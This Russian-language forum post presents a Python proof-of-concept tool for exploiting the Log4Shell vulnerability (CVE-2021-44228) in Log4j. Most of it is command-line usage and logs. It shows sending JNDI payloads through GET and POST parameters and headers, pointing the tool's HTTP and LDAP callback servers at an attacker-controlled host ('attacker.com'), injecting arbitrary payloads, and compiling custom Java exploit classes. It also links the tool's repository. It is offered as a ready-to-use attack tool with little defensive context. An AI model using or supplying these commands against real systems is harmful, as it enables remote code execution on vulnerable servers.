What's new

Article CVE-2021-44228. Python Log4RCE

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,158
Универсальный чистый Python3 PoC для CVE-2021-44228.

1639428568714.png

Пример:

Code:
python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
Логи:

Code:
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Это инструмент командной строки. Все параметры можно найти в меню справки:

Code:
python3 log4rce.py --help
Список довольно обширный, поэтому ниже приводится краткое описание его функций.

Режимы атаки:

Инструмент позволяет использовать несколько режимов атаки. Эти атаки являются расширением класса Log4RCE.
  • HTTP
Вы можете выполнить автоматическую атаку HTTP-запроса на целевой URL-адрес.

Вы можете выполнить запрос GET следующим образом:

Code:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###&param=123" --headers="P1=123&P2=123"
Вы можете выполнить запрос POST следующим образом:

Code:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###&param=123" --headers="P1=123&P2=123"
В предыдущем случае тег JNDI будет вставлен в ###.

Руководство:

Если вы не можете использовать что-либо из предыдущего, используйте этот режим для сброса тега JDNI:

Code:
python3 log4rce.py manual
Настройки сети

Инструмент позволяет выполнять обширную настройку для большинства сетевых конфигураций. Все внутренние серверы можно изменить так, чтобы они указывали на разные места в соответствии с удаленными настройками.
  • HTTP-сервер
Вы можете настроить HTTP-сервер, используя следующие параметры:

Code:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
Логи:

Code:
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
  • LDAP Server
Вы можете настроить сервер LDAP, используя следующие параметры:

Code:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
Логи:

Code:
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
Настройка:

Инструмент позволяет обрабатывать некоторые настройки. Ниже перечислены некоторые функции, которые могут вас заинтересовать.
  • Внедрение полезной нагрузки
Вы можете внедрить полезную нагрузку в класс Java, используя:

Code:
python3 log4rce.py --payload "PAYLOAD"
Полезные данные будут вставлены в строки «###».

Пользовательские полезные нагрузки Java:

Вы можете создать свой собственный класс Java, используя следующее.

Code:
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Получившийся .class можно запустить, используя:

Code:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Примечание: Вы можете добавить строку «###», чтобы разрешить внедрение полезной нагрузки.

Github:

Code:
https://github.com/alexandre-lavoie/python-log4rce
 
Top Bottom